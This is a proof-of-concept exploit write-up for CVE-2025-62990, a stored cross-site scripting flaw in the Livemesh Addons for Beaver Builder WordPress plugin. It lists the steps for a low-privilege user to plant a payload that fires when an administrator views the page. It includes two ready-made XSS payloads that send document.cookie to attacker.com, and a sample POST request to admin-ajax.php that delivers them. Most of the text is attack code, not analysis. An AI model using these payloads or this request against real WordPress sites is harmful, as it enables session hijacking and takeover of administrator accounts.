CVE-2025-62990: Livemesh Addons for Beaver Builder 存储型XSS漏洞

// CVE-2025-62990 Stored XSS PoC // Target: Livemesh Addons for Beaver Builder <= 3.9.2 // Attack Vector: Inject malicious JavaScript via plugin components // Step 1: Authenticate as low-privilege user (contributor/author role) // Step 2: Navigate to Page Builder and add a Livemesh module // Step 3: Inject XSS payload in vulnerable field: const xssPayload = `<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>`; // Alternative payload for event-based XSS: const eventXssPayload = `<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">`; // Step 4: Save the page // Step 5: When admin visits the page, XSS will execute // Example HTTP POST request to trigger vulnerability: const exploitRequest = { method: 'POST', url: '/wp-admin/admin-ajax.php', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'wordpress_test_cookie=WP+Cookie+check' }, body: 'action=fl_builder_save_settings&node_id=abc123&settings[custom_field]=' + encodeURIComponent(xssPayload) };